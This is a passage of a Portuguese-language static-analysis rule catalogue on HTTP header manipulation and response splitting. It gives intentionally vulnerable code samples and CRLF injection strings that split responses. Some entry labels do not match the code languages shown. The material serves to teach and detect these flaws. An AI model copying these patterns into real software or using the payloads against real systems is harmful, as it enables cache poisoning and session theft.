Sequestro de Páginas: Além de usar um aplicativo vulnerável para enviar conteúdo mal-intencionado a um usuário, a mesma vulnerabilidade raiz também pode ser aproveitada para redirecionar ao invasor o conteúdo confidencial gerado pelo servidor e destinado ao usuário. Ao enviar uma solicitação que resulta em duas respostas, isto é, a resposta pretendida do servidor e a resposta gerada pelo invasor, esse invasor pode fazer com que um nó intermediário, como um servidor proxy compartilhado, oriente incorretamente ao invasor uma resposta gerada pelo servidor para o usuário. Como a solicitação feita pelo invasor gera duas respostas, a primeira é interpretada como uma resposta à solicitação do invasor, enquanto a segunda permanece no limbo. Quando o usuário faz uma solicitação legítima através da mesma conexão TCP, a solicitação do invasor já está aguardando e é interpretada como uma resposta à solicitação da vítima. Em seguida, o invasor envia uma segunda solicitação para o servidor, à qual o servidor proxy responde com a solicitação gerada pelo servidor para a vítima, comprometendo assim qualquer informação confidencial nos cabeçalhos ou no corpo da resposta destinada à vítima.

Manipulação de Cookie: Em combinação com ataques, como falsificação de solicitações entre sites, os invasores podem alterar, adicionar ou até mesmo substituir os cookies de um usuário legítimo.

Redirecionamento Aberto: Permitir que uma entrada não validada controle a URL usada em um redirecionamento pode auxiliar ataques de phishing.
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.java.header_manipulation
Abstract
A inclusão de dados não validados em um cabeçalho de resposta HTTP pode permitir ataques como envenenamento de cache, Cross-Site Scripting, desfiguração entre usuários, sequestro de páginas, manipulação de cookies ou redirecionamento aberto.
Explanation
Vulnerabilidades de Manipulação de Cabeçalho ocorrem quando:

1. Dados entram em um aplicativo Web através de uma fonte não confiável, mais frequentemente uma solicitação HTTP.

2. Os dados são incluídos em um cabeçalho de resposta HTTP enviado para um usuário da Web sem ser validado.

Tal como acontece com muitas vulnerabilidades de segurança de software, a Manipulação de Cabeçalho é um meio para um fim, e não um fim por si só. Em sua raiz, a vulnerabilidade é simples e direta: um invasor transmite dados mal-intencionados a um aplicativo vulnerável, e esse aplicativo inclui os dados em um cabeçalho de resposta HTTP.

Um dos ataques mais comuns de Manipulação de Cabeçalho é a Divisão de Respostas HTTP. Para montar uma exploração bem-sucedida de Divisão de Respostas HTTP, o aplicativo deve permitir entradas que contenham caracteres de CR (retorno de carro, também especificado por %0d ou \r) e LF (avanço de linha, também especificado por %0a ou \n) no cabeçalho. Esses caracteres não só dão controle aos invasores sobre os cabeçalhos restantes e o corpo da resposta que o aplicativo pretende enviar, como também lhes permite criar respostas adicionais totalmente sob seu controle.

Muitos dos modernos servidores de aplicativos de hoje impedirão a injeção de caracteres mal-intencionados em cabeçalhos HTTP. Se o seu servidor de aplicativos impede a definição de cabeçalhos com caracteres de nova linha, seu aplicativo não é vulnerável à Divisão de Respostas HTTP. No entanto, uma simples filtragem em busca de caracteres de nova linha pode deixar um aplicativo vulnerável à Manipulação de Cookie ou a Redirecionamentos Abertos e, por isso, ainda é necessário ter cautela ao definir cabeçalhos HTTP com entradas do usuário.

Exemplo: O segmento de código a seguir lê o nome do autor de uma entrada de blog, author, a partir de uma solicitação HTTP e o define em um cabeçalho de cookie de uma resposta HTTP.


author = form.author.value;
...
document.cookie = "author=" + author + ";expires="+cookieExpiration;
...


Supondo que uma string formada por caracteres alfanuméricos padrão, como "Jane Smith", seja enviada na solicitação, a resposta HTTP que inclui esse cookie pode assumir o seguinte formato:


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


No entanto, como o valor do cookie é formado por uma entrada de usuário não validada, a resposta apenas manterá esse formato se o valor enviado para AUTHOR_PARAM não contiver caracteres de CR e LF. Se um invasor enviar uma string mal-intencionada, como "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", a resposta HTTP será dividida em duas respostas com o seguinte formato:


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


Claramente, a segunda resposta é completamente controlada pelo invasor e pode ser construída com qualquer conteúdo de cabeçalho e corpo desejado. A capacidade de criação de respostas HTTP arbitrárias do invasor permite uma variedade de ataques resultantes, incluindo: envenenamento de cache da Web e do navegador, cross-site scripting e sequestro de página.


Envenenamento de Cache: O impacto de uma resposta construída de maneira mal-intencionada pode ser ampliado quando ela é armazenada em cache por um cache de Web utilizado por vários usuários ou até mesmo pelo cache do navegador de um único usuário. Se uma resposta for armazenada em um cache da Web compartilhado, como aqueles comumente encontrados em servidores proxy, todos os usuários desse cache continuarão a receber o conteúdo mal-intencionado até que a entrada do cache seja removida. Da mesma forma, se a resposta for armazenada em cache no navegador de um usuário individual, esse usuário continuará a receber o conteúdo mal-intencionado até que a entrada do cache seja removida, embora nesse caso somente o usuário da instância local do navegador seja afetado.

Cross-Site Scripting: Depois que os invasores controlam as respostas enviadas por um aplicativo, eles podem escolher dentre grande variedade de conteúdo mal-intencionado para fornecer aos usuários. Cross-Site Scripting é uma forma comum de ataque em que JavaScript mal-intencionado ou outro código incluído em uma resposta é executado no navegador do usuário. A variedade de ataques com base em XSS é quase ilimitada, mas costuma incluir a transmissão de dados privados, como cookies ou outras informações de sessão, para o invasor, o redirecionamento da vítima para um conteúdo web controlado pelo invasor ou a realização de outras operações mal-intencionadas na máquina do usuário, sob a aparência do site vulnerável. O vetor de ataque mais comum e perigoso contra os usuários de um aplicativo vulnerável usa JavaScript para transmitir informações de sessão e autenticação de volta ao invasor, que pode em seguida assumir o controle total sobre a conta da vítima.

Sequestro de Páginas: Além de usar um aplicativo vulnerável para enviar conteúdo mal-intencionado a um usuário, a mesma vulnerabilidade raiz também pode ser aproveitada para redirecionar ao invasor o conteúdo confidencial gerado pelo servidor e destinado ao usuário. Ao enviar uma solicitação que resulta em duas respostas, isto é, a resposta pretendida do servidor e a resposta gerada pelo invasor, esse invasor pode fazer com que um nó intermediário, como um servidor proxy compartilhado, oriente incorretamente ao invasor uma resposta gerada pelo servidor para o usuário. Como a solicitação feita pelo invasor gera duas respostas, a primeira é interpretada como uma resposta à solicitação do invasor, enquanto a segunda permanece no limbo. Quando o usuário faz uma solicitação legítima através da mesma conexão TCP, a solicitação do invasor já está aguardando e é interpretada como uma resposta à solicitação da vítima. Em seguida, o invasor envia uma segunda solicitação para o servidor, à qual o servidor proxy responde com a solicitação gerada pelo servidor para a vítima, comprometendo assim qualquer informação confidencial nos cabeçalhos ou no corpo da resposta destinada à vítima.

Manipulação de Cookie: Em combinação com ataques, como falsificação de solicitações entre sites, os invasores podem alterar, adicionar ou até mesmo substituir os cookies de um usuário legítimo.

Redirecionamento Aberto: Permitir que uma entrada não validada controle a URL usada em um redirecionamento pode auxiliar ataques de phishing.
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.javascript.header_manipulation
Abstract
A inclusão de dados não validados em um cabeçalho de resposta HTTP pode permitir ataques como envenenamento de cache, Cross-Site Scripting, desfiguração entre usuários, sequestro de páginas, manipulação de cookies ou redirecionamento aberto.
Explanation
Vulnerabilidades de Manipulação de Cabeçalho ocorrem quando:

1. Dados entram em um aplicativo Web através de uma fonte não confiável, mais frequentemente uma solicitação HTTP.


2. Os dados são incluídos em um cabeçalho de resposta HTTP enviado para um usuário da Web sem ser validado.

Tal como acontece com muitas vulnerabilidades de segurança de software, a Manipulação de Cabeçalho é um meio para um fim, e não um fim por si só. Em sua raiz, a vulnerabilidade é simples e direta: um invasor transmite dados mal-intencionados a um aplicativo vulnerável, e esse aplicativo inclui os dados em um cabeçalho de resposta HTTP.

Um dos ataques mais comuns de Manipulação de Cabeçalho é a Divisão de Respostas HTTP. Para montar uma exploração bem-sucedida de Divisão de Respostas HTTP, o aplicativo deve permitir entradas que contenham caracteres de CR (retorno de carro, também especificado por %0d ou \r) e LF (alimentação de linha, também especificado por %0a ou \n) no cabeçalho. Esses caracteres não só dão controle aos invasores sobre os cabeçalhos restantes e o corpo da resposta que o aplicativo pretende enviar, como também lhes permite criar respostas adicionais totalmente sob seu controle.

Muitos dos modernos servidores de aplicativos de hoje impedirão a injeção de caracteres mal-intencionados em cabeçalhos HTTP. Por exemplo, versões recentes do Apache Tomcat lançarão uma IllegalArgumentException se você tentar definir um cabeçalho com caracteres proibidos. Se o seu servidor de aplicativos impede a definição de cabeçalhos com caracteres de nova linha, seu aplicativo não é vulnerável à Divisão de Respostas HTTP. No entanto, uma simples filtragem em busca de caracteres de nova linha pode deixar um aplicativo vulnerável à Manipulação de Cookie ou a Redirecionamentos Abertos e, por isso, ainda é necessário ter cautela ao definir cabeçalhos HTTP com entradas do usuário.

Exemplo: O segmento de código a seguir considera que name e value podem ser controlados por um invasor. O código define um cabeçalho HTTP cujo nome e valor podem ser controlados por um invasor:


...
NSURLSessionConfiguration * config = [[NSURLSessionConfiguration alloc] init];
NSMutableDictionary *dict = @{};
[dict setObject:value forKey:name];
[config setHTTPAdditionalHeaders:dict];
...


Considerando um par de nome/valor que consiste em author e Jane Smith, a resposta HTTP que inclui esse cabeçalho pode ter o seguinte formato:


HTTP/1.1 200 OK
...
author:Jane Smith
...


No entanto, como o valor do cabeçalho é formado com base na entrada de usuário não validada, um invasor pode enviar um par de nome/valor mal-intencionado, como HTTP/1.1 200 OK\r\n...foo e bar, e a resposta HTTP seria dividida em duas respostas no seguinte formato:


HTTP/1.1 200 OK
...

HTTP/1.1 200 OK
...
foo:bar


Claramente, a segunda resposta é completamente controlada pelo invasor e pode ser construída com qualquer conteúdo de cabeçalho e corpo desejado. A capacidade do invasor de construir respostas HTTP arbitrárias permite uma grande variedade de ataques resultantes, entre eles: desfiguração entre usuários, envenenamento de cache da Web e do navegador, Cross-Site Scripting e sequestro de páginas.

Desfiguração entre Usuários: Um invasor poderá fazer uma única solicitação a um servidor vulnerável, fazendo com que esse servidor crie duas respostas. A segunda pode ser interpretada como uma resposta a uma solicitação diferente, possivelmente feita por outro usuário que compartilha a mesma conexão TCP com o servidor. Isso pode ser feito, convencendo o usuário a enviar a solicitação mal-intencionada por conta própria ou remotamente em situações nas quais o invasor e o usuário compartilham uma conexão TCP comum com o servidor, como um servidor proxy compartilhado. Na melhor das hipóteses, um invasor pode aproveitar essa habilidade para convencer os usuários de que o aplicativo foi invadido, fazendo com que eles percam a confiança na segurança deste último. Na pior das hipóteses, um invasor pode fornecer um conteúdo especialmente elaborado, projetado para imitar o comportamento do aplicativo, mas redirecionar informações privadas, como números de contas e senhas, de volta para ele.

Envenenamento de Cache: O impacto de uma resposta construída de maneira mal-intencionada pode ser ampliado quando ela é armazenada em cache por um cache de Web utilizado por vários usuários ou até mesmo pelo cache do navegador de um único usuário. Se uma resposta for armazenada em um cache da Web compartilhado, como aqueles comumente encontrados em servidores proxy, todos os usuários desse cache continuarão a receber o conteúdo mal-intencionado até que a entrada do cache seja removida. Da mesma forma, se a resposta for armazenada em cache no navegador de um usuário individual, esse usuário continuará a receber o conteúdo mal-intencionado até que a entrada do cache seja removida, embora nesse caso somente o usuário da instância local do navegador seja afetado.

Cross-Site Scripting: Depois que os invasores controlam as respostas enviadas por um aplicativo, eles podem escolher dentre grande variedade de conteúdo mal-intencionado para fornecer aos usuários. Cross-Site Scripting é uma forma comum de ataque em que JavaScript mal-intencionado ou outro código incluído em uma resposta é executado no navegador do usuário. A variedade de ataques com base em XSS é quase ilimitada, mas costuma incluir a transmissão de dados privados, como cookies ou outras informações de sessão, para o invasor, o redirecionamento da vítima para um conteúdo web controlado pelo invasor ou a realização de outras operações mal-intencionadas na máquina do usuário, sob a aparência do site vulnerável. O vetor de ataque mais comum e perigoso contra os usuários de um aplicativo vulnerável usa JavaScript para transmitir informações de sessão e autenticação de volta ao invasor, que pode em seguida assumir o controle total sobre a conta da vítima.

Sequestro de Páginas: Além de usar um aplicativo vulnerável para enviar conteúdo mal-intencionado a um usuário, a mesma vulnerabilidade raiz também pode ser aproveitada para redirecionar ao invasor o conteúdo confidencial gerado pelo servidor e destinado ao usuário. Ao enviar uma solicitação que resulta em duas respostas, isto é, a resposta pretendida do servidor e a resposta gerada pelo invasor, esse invasor pode fazer com que um nó intermediário, como um servidor proxy compartilhado, oriente incorretamente ao invasor uma resposta gerada pelo servidor para o usuário. Como a solicitação feita pelo invasor gera duas respostas, a primeira é interpretada como uma resposta à solicitação do invasor, enquanto a segunda permanece no limbo. Quando o usuário faz uma solicitação legítima através da mesma conexão TCP, a solicitação do invasor já está aguardando e é interpretada como uma resposta à solicitação da vítima. Em seguida, o invasor envia uma segunda solicitação para o servidor, à qual o servidor proxy responde com a solicitação gerada pelo servidor para a vítima, comprometendo assim qualquer informação confidencial nos cabeçalhos ou no corpo da resposta destinada à vítima.

Manipulação de Cookie: Em combinação com ataques, como falsificação de solicitações entre sites, os invasores podem alterar, adicionar ou até mesmo substituir os cookies de um usuário legítimo.

Redirecionamento Aberto: Permitir que uma entrada não validada controle a URL usada em um redirecionamento pode auxiliar ataques de phishing.
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.objc.header_manipulation
Abstract
A inclusão de dados não validados em um cabeçalho de resposta HTTP pode permitir ataques como envenenamento de cache, Cross-Site Scripting, desfiguração entre usuários, sequestro de páginas, manipulação de cookies ou redirecionamento aberto.
Explanation
Vulnerabilidades de Manipulação de Cabeçalho ocorrem quando:

1. Dados entram em um aplicativo Web através de uma fonte não confiável, mais frequentemente uma solicitação HTTP.

2. Os dados são incluídos em um cabeçalho de resposta HTTP enviado para um usuário da Web sem ser validado.

Tal como acontece com muitas vulnerabilidades de segurança de software, a Manipulação de Cabeçalho é um meio para um fim, e não um fim por si só. Em sua raiz, a vulnerabilidade é simples e direta: um invasor transmite dados mal-intencionados a um aplicativo vulnerável, e esse aplicativo inclui os dados em um cabeçalho de resposta HTTP.

Um dos ataques mais comuns de Manipulação de Cabeçalho é a Divisão de Respostas HTTP. Para montar uma exploração bem-sucedida de Divisão de Respostas HTTP, o aplicativo deve permitir entradas que contenham caracteres de CR (retorno de carro, também especificado por %0d ou \r) e LF (avanço de linha, também especificado por %0a ou \n) no cabeçalho. Esses caracteres não só dão controle aos invasores sobre os cabeçalhos restantes e o corpo da resposta que o aplicativo pretende enviar, como também lhes permite criar respostas adicionais totalmente sob seu controle.

Muitos dos modernos servidores de aplicativos de hoje impedirão a injeção de caracteres mal-intencionados em cabeçalhos HTTP. Por exemplo, as versões recentes de PHP gerarão a criação de um cabeçalho e de um aviso e de interrupção quando novas linhas são passadas para a função header(). Se a sua versão de PHP impedir a definição de cabeçalhos com novos caracteres de linha, seu aplicativo não estará vulnerável à Divisão de resposta HTTP. No entanto, uma simples filtragem em busca de caracteres de nova linha pode deixar um aplicativo vulnerável à Manipulação de Cookie ou a Redirecionamentos Abertos e, por isso, ainda é necessário ter cautela ao definir cabeçalhos HTTP com entradas do usuário.

Exemplo: O segmento de código a seguir lê a localização a partir de uma solicitação HTTP e define-a no campo de localização de cabeçalho de uma resposta HTTP.


<?php
$location = $_GET['some_location'];
...
header("location: $location");
?>


Supondo que uma cadeia de caracteres que consiste em caracteres alfanuméricos padrão, como "index.html", seja enviada na solicitação, a resposta HTTP, incluindo este cookie, pode ter a seguinte forma:


HTTP/1.1 200 OK
...
location: index.html
...


